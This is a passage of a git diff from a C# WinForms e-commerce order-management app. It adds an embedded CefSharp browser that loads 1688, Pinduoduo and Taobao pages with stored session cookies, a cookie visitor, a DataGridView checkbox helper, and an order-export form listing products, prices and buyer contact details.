System.Windows.Forms; +using Work.BaseForms; +using Work.BuyUsers; + +namespace _29WxOrder.BuyForms +{ + public partial class BuyProductBrower : BaseForm + { + public ChromiumWebBrowser cefWebBrowser = null; + public string WebUrl = ""; + public string cookies; + public BuyProductBrower() + { + InitializeComponent(); + } + public string userAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36"; + public string buyermobile = ""; + + private void BuyProductBrower_Load(object sender, EventArgs e) + { + string domain = ""; + if (WebUrl.Contains("1688.com")) + { + domain = "1688.com"; + if (WebUrl.StartsWith("https://trade.1688.com")) + { + domain = "taobao.com"; + } + } + else if (WebUrl.Contains("yangkeduo.com")) + { + domain = "yangkeduo.com"; + } + else if (WebUrl.Contains("pinduoduo.com")) + { + domain = "pinduoduo.com"; + } + else if (WebUrl.Contains("taobao.com")) + { + domain = "taobao.com"; + } + + + if (!this.TitleText.Contains("详情") && !this.TitleText.Contains("订单")) + this.TitleText = this.TitleText = this.Text = "详情"; + + if (cefWebBrowser == null) + { + cefWebBrowser = CEFBrowser.CreateChromiumWebBrowser(WebUrl, false); + CustomResourceRequestHandler resourceRequestHandler = new CustomResourceRequestHandler(); + resourceRequestHandler.UserAgent = userAgent; + cefWebBrowser.RequestHandler = new CustomRequestHandler(resourceRequestHandler); + cefWebBrowser.KeyboardHandler = new KeyboardHandler(); + cefWebBrowser.FrameLoadEnd += CefWebBrowser_FrameLoadEnd; + if (domain.Contains("taobao.com")) + { + //CEFBrowser.SetCookieAsync(".taobao.com", cookies, cefWebBrowser.RequestContext.GetCookieManager(null)); + //CEFBrowser.SetCookieAsync(".1688.com", cookies, cefWebBrowser.RequestContext.GetCookieManager(null)); + //CEFBrowser.SetCookieAsync(".tmall.com", cookies, cefWebBrowser.RequestContext.GetCookieManager(null)); + } + cefWebBrowser.Dock = DockStyle.Fill; + + this.panel1.Controls.Add(cefWebBrowser); + Task.Run(() => + { + while (cefWebBrowser.IsLoading) + { + System.Threading.Thread.Sleep(1); + } + CEFBrowser.SetCookieAsync(domain, cookies, cefWebBrowser.RequestContext.GetCookieManager(null)); + }); + //cefWebBrowser.SendToBack(); + } + else + { + CEFBrowser.DeleteCookie(cefWebBrowser.RequestContext.GetCookieManager(null)); + CEFBrowser.SetCookieAsync(domain, cookies, cefWebBrowser.RequestContext.GetCookieManager(null)); + cefWebBrowser.Load(WebUrl); + } + } + + private void CefWebBrowser_FrameLoadEnd(object sender, FrameLoadEndEventArgs e) + { + + } + } +} diff --git a/29WxOrder/BuyForms/BuyProductBrower.resx b/29WxOrder/BuyForms/BuyProductBrower.resx new file mode 100644 index 0000000..1af7de1 --- /dev/null +++ b/29WxOrder/BuyForms/BuyProductBrower.resx @@ -0,0 +1,120 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + \ No newline at end of file diff --git a/29WxOrder/CEFKeyBoardHander.cs b/29WxOrder/CEFKeyBoardHander.cs new file mode 100644 index 0000000..75bd8a9 --- /dev/null +++ b/29WxOrder/CEFKeyBoardHander.cs @@ -0,0 +1,51 @@ +using CefSharp; +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading.Tasks; +using System.Windows.Forms; + +namespace _29WxOrder +{ + public class CEFKeyBoardHander : IKeyboardHandler + { + public bool OnKeyEvent(IWebBrowser browserControl, IBrowser browser, KeyType type, int windowsKeyCode, int nativeKeyCode, CefEventFlags modifiers, bool isSystemKey) + { + if (type == KeyType.KeyUp && Enum.IsDefined(typeof(Keys), windowsKeyCode)) + { + var key = (Keys)windowsKeyCode; + switch (key) + { + case Keys.F12: + browser.ShowDevTools(); + break; + + case Keys.F5: + + if (modifiers == CefEventFlags.ControlDown) + { + //MessageBox.Show("ctrl+f5"); + browser.Reload(true); //强制忽略缓存 + + } + else + { + //MessageBox.Show("f5"); + browser.Reload(); + } + break; + + + } + } + return false; + } + + public bool OnPreKeyEvent(IWebBrowser browserControl, IBrowser browser, KeyType type, int windowsKeyCode, int nativeKeyCode, CefEventFlags modifiers, bool isSystemKey, ref bool isKeyboardShortcut) + { + return false; + } + + } +} diff --git a/29WxOrder/CookieVisitor.cs b/29WxOrder/CookieVisitor.cs new file mode 100644 index 0000000..32d5cab --- /dev/null +++ b/29WxOrder/CookieVisitor.cs @@ -0,0 +1,29 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading.Tasks; + +namespace _29WxOrder +{ + public class CookieVisitor : CefSharp.ICookieVisitor + { + public event Action SendCookie; + public bool Visit(CefSharp.Cookie cookie, int count, int total, ref bool deleteCookie) + { + deleteCookie = false; + if (SendCookie != null) + { + SendCookie(cookie); + } + + return true; + } + + + public void Dispose() + { + + } + } +} diff --git a/29WxOrder/DLL/NaiBa.CefHelper.79.dll b/29WxOrder/DLL/NaiBa.CefHelper.79.dll new file mode 100644 index 0000000..e42d03f Binary files /dev/null and b/29WxOrder/DLL/NaiBa.CefHelper.79.dll differ diff --git a/29WxOrder/DLL/NaiBa.CefHelper.dll b/29WxOrder/DLL/NaiBa.CefHelper.dll new file mode 100644 index 0000000..7ef6fe2 Binary files /dev/null and b/29WxOrder/DLL/NaiBa.CefHelper.dll differ diff --git a/29WxOrder/DLL/NaiBa.Util.dll b/29WxOrder/DLL/NaiBa.Util.dll new file mode 100644 index 0000000..f6ae5ff Binary files /dev/null and b/29WxOrder/DLL/NaiBa.Util.dll differ diff --git a/29WxOrder/Extension/DataGridViewExtension.cs b/29WxOrder/Extension/DataGridViewExtension.cs new file mode 100644 index 0000000..076ee20 --- /dev/null +++ b/29WxOrder/Extension/DataGridViewExtension.cs @@ -0,0 +1,244 @@ +using System; +using System.Collections; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.Linq; +using System.Text; +using System.Threading.Tasks; +using System.Windows.Forms; + +namespace _29WxOrder.Extension +{ + public static class DataGridViewExtension + { + public static object GetCellValueFromColumnName(this DataGridViewCellCollection CellCollection, string name) + { + return CellCollection.Cast().FirstOrDefault(c => c.OwningColumn.Name == name)?.Value; + } + + public static CheckBox AddSelectorColumn(this DataGridView dgv, string columnName = "Selected", Action addHeaderCheckBoxOverride = null) + { + if (dgv.Columns[columnName] == null) + { + return null; + + //var dt = dgv.Table(); + + //var dcol = new DataColumn(columnName, typeof(bool)); + //dt.Columns.Add(dcol); + + //dt.ColumnChanged += (s, e) => + //{ + // var chCols = e.Row.GetChangedColumns(); + // if (chCols.Count == 1 && chCols[0].Equals(dcol)) + // e.Row.AcceptChanges(); + //}; + } + + var col = dgv.Columns[columnName]; + col.HeaderText = ""; + col.ReadOnly = false; + if (addHeaderCheckBoxOverride != null) + { + addHeaderCheckBoxOverride(col); + return null; + } + else + { + return col.AddHeaderCheckBox(); + } + } + + public static CheckBox AddHeaderCheckBox(this DataGridViewColumn column, HorizontalAlignment align = HorizontalAlignment.Center, int leftBorderOffset = 0, int rightBorderOffset = 0, Func getValue = null, Action setValue = null, bool isSetCheckedChangedEvent = true, CheckBox checkBox = null) + { + if (column.DataGridView == null) throw new ArgumentNullException("First you need to add the column to grid."); + + // Creating checkbox without panel + if (checkBox == null) + { + checkBox = new CheckBox(); + checkBox.Name = "chk" + column.Name; + } + checkBox.Size = new Size(14, 14); + checkBox.BackColor = Color.Transparent; + checkBox.Enabled = true; + + // Reset properties + checkBox.Padding = new Padding(0); + checkBox.Margin = new Padding(0); + checkBox.Text = ""; + + var changedByUser = true; + var dgv = column.DataGridView; + + if (isSetCheckedChangedEvent) + { + checkBox.CheckedChanged += (s, e) => + { + if (changedByUser) + { + try + { + changedByUser = false; + + if (dgv.IsCurrentCellInEditMode && dgv.CurrentCell.OwningColumn.Name.Equals(column.Name)) + dgv.EndEdit(); + + var dgvRows = new List((dgv.SelectedRows.Count < 2 ? (ICollection)dgv.Rows : dgv.SelectedRows).Cast()); + + if (column.IsDataBound) + { + //adding to list because of BindingSource sort by that column + var boundItems = new List(); + var areDataRows = dgvRows.Count < 1 || dgvRows[0].DataBoundItem is DataRowView; + if (areDataRows) + { + foreach (DataGridViewRow row in dgvRows) + boundItems.Add(((DataRowView)row.DataBoundItem).Row); + foreach (DataRow dr in boundItems) + { + var val = dr[column.DataPropertyName]; + if ((val is bool && (bool)val) != checkBox.Checked) + dr[column.DataPropertyName] = checkBox.Checked; + } + } + else + { + foreach (DataGridViewRow row in dgvRows) + boundItems.Add(row.DataBoundItem); + foreach (var item in boundItems) + { + var val = getValue(item); + if (val != checkBox.Checked) + setValue(item, checkBox.Checked); + } + } + } + else + { + foreach (DataGridViewRow dgr in dgvRows) + { + var cell = dgr.Cells[column.Name]; + if ((cell.Value is bool && (bool)cell.Value) != checkBox.Checked) + cell.Value = checkBox.Checked; + } + } + } + finally + { + changedByUser = true; + } + } + }; + } + + // Add checkbox to datagrid cell + dgv.Controls.Add(checkBox); + + Action onColResize = () => + { + try + { + var colCheck = dgv.Columns[column.Name]; + if (colCheck == null) return; + int colLeft = (dgv.RowHeadersVisible ? dgv.RowHeadersWidth : 0) - (colCheck.Frozen ? 0 : dgv.HorizontalScrollingOffset); + foreach (DataGridViewColumn col in dgv.Columns) + { + if (col.DisplayIndex >= colCheck.DisplayIndex) break; + if (!col.Visible) continue; + colLeft += col.Width; + } + + var newPoint = new Point(colLeft + 1, (dgv.ColumnHeadersHeight + 1) / 2 - checkBox.Height / 2 + 1); + + if (align == HorizontalAlignment.Left) + newPoint.X += 3; + else if (align == HorizontalAlignment.Center) + newPoint.X += colCheck.Width / 2 - checkBox.Width / 2; + else if (align == HorizontalAlignment.Right) + newPoint.X += colCheck.Width - checkBox.Width - 3; + + var minLeft = colLeft + leftBorderOffset; + var maxLeft = colLeft + colCheck.Width - checkBox.Width + rightBorderOffset; + + if (newPoint.X < minLeft) newPoint.X = minLeft; + if (newPoint.X > maxLeft) newPoint.X = maxLeft; + + checkBox.Location = newPoint; + checkBox.Visible = colCheck.Visible; + } + catch + { + } + }; + dgv.ColumnWidthChanged += (s, e) => onColResize(); + dgv.ColumnHeadersHeightChanged += (s, e) => onColResize(); + dgv.Scroll += (s, e) => onColResize(); + dgv.Resize += (s, e) => onColResize(); + dgv.Sorted += (s, e) => onColResize(); + dgv.RowHeadersWidthChanged += (s, e) => onColResize(); + dgv.ColumnStateChanged += (s, e) => onColResize(); + + Action onDataChanged = (e) => + { + if (!changedByUser) return; + if (e is DataColumnChangeEventArgs) + { + if (!((DataColumnChangeEventArgs)e).Column.ColumnName.Equals(column.Name)) + return; + } + else if (e is ListChangedEventArgs) + { + var prop = ((ListChangedEventArgs)e).PropertyDescriptor; + if (prop != null && !prop.Name.Equals(column.DataPropertyName)) + return; + } + + bool allAreTrue = true; + foreach (DataGridViewRow row in dgv.SelectedRows.Count < 2 ? (ICollection)dgv.Rows : dgv.SelectedRows) + { + var val = row.Cells[column.Name].Value; + if (!(val is bool) || !(bool)val) + { + allAreTrue = false; + break; + } + } + + try + { + changedByUser = false; + var tag = checkBox.Tag; + checkBox.Tag = "AUTO"; + try + { + if (isSetCheckedChangedEvent) + { + checkBox.Checked = allAreTrue; + } + } + finally { checkBox.Tag = tag; } + } + finally + { + changedByUser = true; + } + }; + dgv.CellClick += (s, e) => onDataChanged(e); + dgv.CellContentClick += (s, e) => onDataChanged(e); + dgv.SelectionChanged += (s, e) => onDataChanged(e); + if (dgv.DataSource is BindingSource) + ((BindingSource)dgv.DataSource).ListChanged += (s, e) => onDataChanged(e); + else if (dgv.DataSource is DataSet) + ((DataSet)dgv.DataSource).Tables[dgv.DataMember].ColumnChanged += (s, e) => onDataChanged(e); + else if (dgv.DataSource is DataTable) + ((DataTable)dgv.DataSource).ColumnChanged += (s, e) => onDataChanged(e); + + onColResize(); + + return checkBox; + } + } +} diff --git a/29WxOrder/FactoryExportForms/FactoryExportForm.Designer.cs b/29WxOrder/FactoryExportForms/FactoryExportForm.Designer.cs new file mode 100644 index 0000000..e3f0bab --- /dev/null +++ b/29WxOrder/FactoryExportForms/FactoryExportForm.Designer.cs @@ -0,0 +1,402 @@ +namespace _29WxOrder.FactoryExportForms +{ + partial class FactoryExportForm + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + this.components = new System.ComponentModel.Container(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle1 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle2 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle3 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle4 = new System.Windows.Forms.DataGridViewCellStyle(); + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FactoryExportForm)); + this.dgvOrder = new _29WxOrder.MyControl.MyDataGridView(); + this.col_shop_id = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.col_shop_name = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.col_title = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.col_up_product_id = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.col_product_id = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.col_c_biz_desc = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.col_sku = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.productImgSku = new System.Windows.Forms.DataGridViewImageColumn(); + this.col_price = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.col_buy_price = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.commission_scale = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.commission = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.col_count = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.col_order_id = new System.Windows.Forms.DataGridViewLinkColumn(); + this.col_name = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.col_mobile = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.col_address = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.col_create_time = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.col_order_promise_time = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.col_order_send_remaining_time = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.col_order_start_buy = new System.Windows.Forms.DataGridViewLinkColumn(); + this.col_remark = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.contextMenuStrip1 = new System.Windows.Forms.ContextMenuStrip(this.components); + this.修改订单状态ToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.已完成ToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.更新选中订单ToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.导出订单列表ToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.panel1 = new System.Windows.Forms.Panel(); + ((System.ComponentModel.ISupportInitialize)(this.pbCloseBase)).BeginInit(); + ((System.ComponentModel.ISupportInitialize)(this.dgvOrder)).BeginInit(); + this.contextMenuStrip1.SuspendLayout(); + this.panel1.SuspendLayout(); + this.SuspendLayout(); + // + // pbCloseBase + // + this.pbCloseBase.Location = new System.Drawing.Point(1148, 0); + // + // dgvOrder + // + this.dgvOrder.AllowUserToAddRows = false; + this.dgvOrder.AllowUserToDeleteRows = false; + dataGridViewCellStyle1.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(244)))), ((int)(((byte)(244)))), ((int)(((byte)(244))))); + this.dgvOrder.AlternatingRowsDefaultCellStyle = dataGridViewCellStyle1; + this.dgvOrder.BackgroundColor = System.Drawing.Color.White; + this.dgvOrder.BorderStyle = System.Windows.Forms.BorderStyle.None; + dataGridViewCellStyle2.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft; + dataGridViewCellStyle2.BackColor = System.Drawing.Color.White; + dataGridViewCellStyle2.Font = new System.Drawing.Font("宋体", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + dataGridViewCellStyle2.ForeColor = System.Drawing.SystemColors.WindowText; + dataGridViewCellStyle2.SelectionBackColor = System.Drawing.Color.White; + dataGridViewCellStyle2.SelectionForeColor = System.Drawing.SystemColors.ControlText; + dataGridViewCellStyle2.WrapMode = System.Windows.Forms.DataGridViewTriState.False; + this.dgvOrder.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle2; + this.dgvOrder.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; + this.dgvOrder.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { + this.col_shop_id, + this.col_shop_name, + this.col_title, + this.col_up_product_id, + this.col_product_id, + this.col_c_biz_desc, + this.col_sku, + this.productImgSku, + this.col_price, + this.col_buy_price, + this.commission_scale, + this.commission, + this.col_count, + this.col_order_id, + this.col_name, + this.col_mobile, + this.col_address, + this.col_create_time, + this.col_order_promise_time, + this.col_order_send_remaining_time, + this.col_order_start_buy, + this.col_remark}); + this.dgvOrder.ContextMenuStrip = this.contextMenuStrip1; + this.dgvOrder.CustomSortColumns.AddRange(new object[] { + "col_shop_id", + "col_shop_name", + "col_name", + "col_mobile", + "col_order_id", + "col_product_id", + "col_create_time"}); + dataGridViewCellStyle3.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft; + dataGridViewCellStyle3.BackColor = System.Drawing.Color.White; + dataGridViewCellStyle3.Font = new System.Drawing.Font("宋体", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + dataGridViewCellStyle3.ForeColor = System.Drawing.SystemColors.ControlText; + dataGridViewCellStyle3.SelectionBackColor = System.Drawing.Color.White; + dataGridViewCellStyle3.SelectionForeColor = System.Drawing.SystemColors.ControlText; + dataGridViewCellStyle3.WrapMode = System.Windows.Forms.DataGridViewTriState.False; + this.dgvOrder.DefaultCellStyle = dataGridViewCellStyle3; + this.dgvOrder.Dock = System.Windows.Forms.DockStyle.Fill; + this.dgvOrder.GridColor = System.Drawing.Color.FromArgb(((int)(((byte)(208)))), ((int)(((byte)(215)))), ((int)(((byte)(229))))); + this.dgvOrder.IsCustomSort = false; + this.dgvOrder.Location = new System.Drawing.Point(0, 0); + this.dgvOrder.Name = "dgvOrder"; + this.dgvOrder.ReadOnly = true; + dataGridViewCellStyle4.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft; + dataGridViewCellStyle4.BackColor = System.Drawing.Color.White; + dataGridViewCellStyle4.Font = new System.Drawing.Font("宋体", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + dataGridViewCellStyle4.ForeColor = System.Drawing.SystemColors.WindowText; + dataGridViewCellStyle4.SelectionBackColor = System.Drawing.Color.White; + dataGridViewCellStyle4.SelectionForeColor = System.Drawing.Color.Black; + dataGridViewCellStyle4.WrapMode = System.Windows.Forms.DataGridViewTriState.True; + this.dgvOrder.RowHeadersDefaultCellStyle = dataGridViewCellStyle4; + this.dgvOrder.RowTemplate.Height = 23; + this.dgvOrder.ShowCellToolTips = false; + this.dgvOrder.Size = new System.Drawing.Size(1180, 587); + this.dgvOrder.TabIndex = 1; + // + // col_shop_id + // + this.col_shop_id.HeaderText = "店铺编号"; + this.col_shop_id.Name = "col_shop_id"; + this.col_shop_id.ReadOnly = true; + this.col_shop_id.Width = 80; + // + // col_shop_name + // + this.col_shop_name.HeaderText = "店铺名称"; + this.col_shop_name.Name = "col_shop_name"; + this.col_shop_name.ReadOnly = true; + // + // col_title + // + this.col_title.HeaderText = "商品名称"; + this.col_title.Name = "col_title"; + this.col_title.ReadOnly = true; + // + // col_up_product_id + // + this.col_up_product_id.HeaderText = "上家ID"; + this.col_up_product_id.Name = "col_up_product_id"; + this.col_up_product_id.ReadOnly = true; + // + // col_product_id + // + this.col_product_id.HeaderText = "本店ID"; + this.col_product_id.Name = "col_product_id"; + this.col_product_id.ReadOnly = true; + this.col_product_id.Width = 120; + // + // col_c_biz_desc + // + this.col_c_biz_desc.HeaderText = "商品描述"; + this.col_c_biz_desc.Name = "col_c_biz_desc"; + this.col_c_biz_desc.ReadOnly = true; + this.col_c_biz_desc.Width = 80; + // + // col_sku + // + this.col_sku.HeaderText = "规格"; + this.col_sku.Name = "col_sku"; + this.col_sku.ReadOnly = true; + // + // productImgSku + // + this.productImgSku.HeaderText = "图片"; + this.productImgSku.Name = "productImgSku"; + this.productImgSku.ReadOnly = true; + this.productImgSku.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.Automatic; + this.productImgSku.Width = 80; + // + // col_price + // + this.col_price.HeaderText = "售价"; + this.col_price.Name = "col_price"; + this.col_price.ReadOnly = true; + this.col_price.Width = 60; + // + // col_buy_price + // + this.col_buy_price.HeaderText = "进价"; + this.col_buy_price.Name = "col_buy_price"; + this.col_buy_price.ReadOnly = true; + this.col_buy_price.Width = 60; + // + // commission_scale + // + this.commission_scale.HeaderText = "佣金率"; + this.commission_scale.Name = "commission_scale"; + this.commission_scale.ReadOnly = true; + this.commission_scale.Width = 60; + // + // commission + // + this.commission.HeaderText = "佣金"; + this.commission.Name = "commission"; + this.commission.ReadOnly = true; + this.commission.Width = 60; + // + // col_count + // + this.col_count.HeaderText = "数量"; + this.col_count.Name = "col_count"; + this.col_count.ReadOnly = true; + this.col_count.Width = 40; + // + // col_order_id + // + this.col_order_id.HeaderText = "订单号"; + this.col_order_id.Name = "col_order_id"; + this.col_order_id.ReadOnly = true; + this.col_order_id.Resizable = System.Windows.Forms.DataGridViewTriState.True; + this.col_order_id.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.Automatic; + this.col_order_id.Width = 130; + // + // col_name + // + this.col_name.HeaderText = "姓名"; + this.col_name.Name = "col_name"; + this.col_name.ReadOnly = true; + // + // col_mobile + // + this.col_mobile.HeaderText = "电话"; + this.col_mobile.Name = "col_mobile"; + this.col_mobile.ReadOnly = true; + // + // col_address + // + this.col_address.HeaderText = "地址"; + this.col_address.Name = "col_address"; + this.col_address.ReadOnly = true; + // + // col_create_time + // + this.col_create_time.HeaderText = "订单确认时间"; + this.col_create_time.Name = "col_create_time"; + this.col_create_time.ReadOnly = true; + this.col_create_time.Width = 120; + // + // col_order_promise_time + // + this.col_order_promise_time.HeaderText = "延迟发货时间"; + this.col_order_promise_time.Name = "col_order_promise_time"; + this.col_order_promise_time.ReadOnly = true; + this.col_order_promise_time.Width = 120; + // + // col_order_send_remaining_time + // + this.col_order_send_remaining_time.HeaderText = "延迟剩余"; + this.col_order_send_remaining_time.Name = "col_order_send_remaining_time"; + this.col_order_send_remaining_time.ReadOnly = true; + // + // col_order_start_buy + // + this.col_order_start_buy.HeaderText = "开始拍单"; + this.col_order_start_buy.Name = "col_order_start_buy"; + this.col_order_start_buy.ReadOnly = true; + this.col_order_start_buy.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.Automatic; + this.col_order_start_buy.Width = 80; + // + // col_remark + // + this.col_remark.HeaderText = "后台备注"; + this.col_remark.Name = "col_remark"; + this.col_remark.ReadOnly = true; + // + // contextMenuStrip1 + // + this.contextMenuStrip1.BackColor = System.Drawing.Color.White; + this.contextMenuStrip1.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.修改订单状态ToolStripMenuItem, + this.更新选中订单ToolStripMenuItem, + this.导出订单列表ToolStripMenuItem}); + this.contextMenuStrip1.Name = "contextMenuStrip1"; + this.contextMenuStrip1.Size = new System.Drawing.Size(149, 70); + // + // 修改订单状态ToolStripMenuItem + // + this.修改订单状态ToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.已完成ToolStripMenuItem}); + this.修改订单状态ToolStripMenuItem.Name = "修改订单状态ToolStripMenuItem"; + this.修改订单状态ToolStripMenuItem.Size = new System.Drawing.Size(148, 22); + this.修改订单状态ToolStripMenuItem.Text = "修改订单状态"; + // + // 已完成ToolStripMenuItem + // + this.已完成ToolStripMenuItem.Name = "已完成ToolStripMenuItem"; + this.已完成ToolStripMenuItem.Size = new System.Drawing.Size(112, 22); + this.已完成ToolStripMenuItem.Text = "已完成"; + this.已完成ToolStripMenuItem.Click += new System.EventHandler(this.已完成ToolStripMenuItem_Click); + // + // 更新选中订单ToolStripMenuItem + // + this.更新选中订单ToolStripMenuItem.Name = "更新选中订单ToolStripMenuItem"; + this.更新选中订单ToolStripMenuItem.Size = new System.Drawing.Size(148, 22); + this.更新选中订单ToolStripMenuItem.Text = "更新选中订单"; + this.更新选中订单ToolStripMenuItem.Click += new System.EventHandler(this.更新选中订单ToolStripMenuItem_Click); + // + // 导出订单列表ToolStripMenuItem + // + this.导出订单列表ToolStripMenuItem.Name = "导出订单列表ToolStripMenuItem"; + this.导出订单列表ToolStripMenuItem.Size = new System.Drawing.Size(148, 22); + this.导出订单列表ToolStripMenuItem.Text = "导出订单列表"; + this.导出订单列表ToolStripMenuItem.Click += new System.EventHandler(this.导出订单列表ToolStripMenuItem_Click); + // + // panel1 + // + this.panel1.Controls.Add(this.dgvOrder); + this.panel1.Dock = System.Windows.Forms.DockStyle.Fill; + this.panel1.Location = new System.Drawing.Point(2, 32); + this.panel1.Name = "panel1"; + this.panel1.Size = new System.Drawing.Size(1180, 587); + this.panel1.TabIndex = 4; + // + // FactoryExportForm + // + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.None; + this.ClientSize = new System.Drawing.Size(1184, 621); + this.Controls.Add(this.panel1); + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.IsShowMax = true; + this.Name = "FactoryExportForm"; + this.Padding = new System.Windows.Forms.Padding(2, 0, 2, 2); + this.Text = "指定商品订单列表"; + this.TitleText = "指定商品订单列表"; + this.Load += new System.EventHandler(this.FactoryExportForm_Load); + this.Controls.SetChildIndex(this.panel1, 0); + ((System.ComponentModel.ISupportInitialize)(this.pbCloseBase)).EndInit(); + ((System.ComponentModel.ISupportInitialize)(this.dgvOrder)).EndInit(); + this.contextMenuStrip1.ResumeLayout(false); + this.panel1.ResumeLayout(false); + this.ResumeLayout(false); + + } + + #endregion + + private MyControl.MyDataGridView dgvOrder; + private System.Windows.Forms.DataGridViewTextBoxColumn col_shop_id; + private System.Windows.Forms.DataGridViewTextBoxColumn col_shop_name; + private System.Windows.Forms.DataGridViewTextBoxColumn col_title; + private System.Windows.Forms.DataGridViewTextBoxColumn col_up_product_id; + private System.Windows.Forms.DataGridViewTextBoxColumn col_product_id; + private System.Windows.Forms.DataGridViewTextBoxColumn col_c_biz_desc; + private System.Windows.Forms.DataGridViewTextBoxColumn col_sku; + private System.Windows.Forms.DataGridViewImageColumn productImgSku; + private System.Windows.Forms.DataGridViewTextBoxColumn col_price; + private System.Windows.Forms.DataGridViewTextBoxColumn col_buy_price; + private System.Windows.Forms.DataGridViewTextBoxColumn commission_scale; + private System.Windows.Forms.DataGridViewTextBoxColumn commission; + private System.Windows.Forms.DataGridViewTextBoxColumn col_count; + private System.Windows.Forms.DataGridViewLinkColumn col_order_id; + private System.Windows.Forms.DataGridViewTextBoxColumn col_name; + private System.Windows.Forms.DataGridViewTextBoxColumn col_mobile; + private System.Windows.Forms.DataGridViewTextBoxColumn col_address; + private System.Windows.Forms.DataGridViewTextBoxColumn col_create_time; + private System.Windows.Forms.DataGridViewTextBoxColumn col_order_promise_time; + private System.Windows.Forms.DataGridViewTextBoxColumn col_order_send_remaining_time; + private System.Windows.Forms.DataGridViewLinkColumn col_order_start_buy; + private System.Windows.Forms.DataGridViewTextBoxColumn col_remark; + private System.Windows.Forms.ContextMenuStrip contextMenuStrip1; + private System.Windows.Forms.ToolStripMenuItem 更新选中订单ToolStripMenuItem; + private System.Windows.Forms.Panel panel1; + private System.Windows.Forms.ToolStripMenuItem 导出订单列表ToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem 修改订单状态ToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem 已完成ToolStripMenuItem; + } +} \ No newline at end of file diff --git a/29WxOrder/FactoryExportForms/FactoryExportForm.cs b/29WxOrder/FactoryExportForms/FactoryExportForm.cs new file mode 100644 index 0000000..6b501fd --- /dev/null +++ b/29WxOrder/FactoryExportForms/FactoryExportForm.cs @@ -0,0 +1,490 @@ +using AllBase; +using AllBase.DouYinModel.Result; +using AllBase.Model.Result; +using _29WxOrder.OrderForms; +using Newtonsoft.Json; +using Newtonsoft.Json.Linq; +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.Linq; +using System.Text; +using System.Threading; +using System.Threading.Tasks; +using System.Windows.Forms; +using Work; +using Work.Api; +using Work.BaseForms; + +namespace _29WxOrder.FactoryExportForms +{ + public partial class FactoryExportForm : BaseForm + { + public List productIdList = new List(); + List lstDouYinOrder = new List(); + public FactoryExportForm() + { + InitializeComponent(); + } + private void FactoryExportForm_Load(object sender, EventArgs e) + { + Task.Run(() => + { + ReadServerOrder(); + }); + } + + void 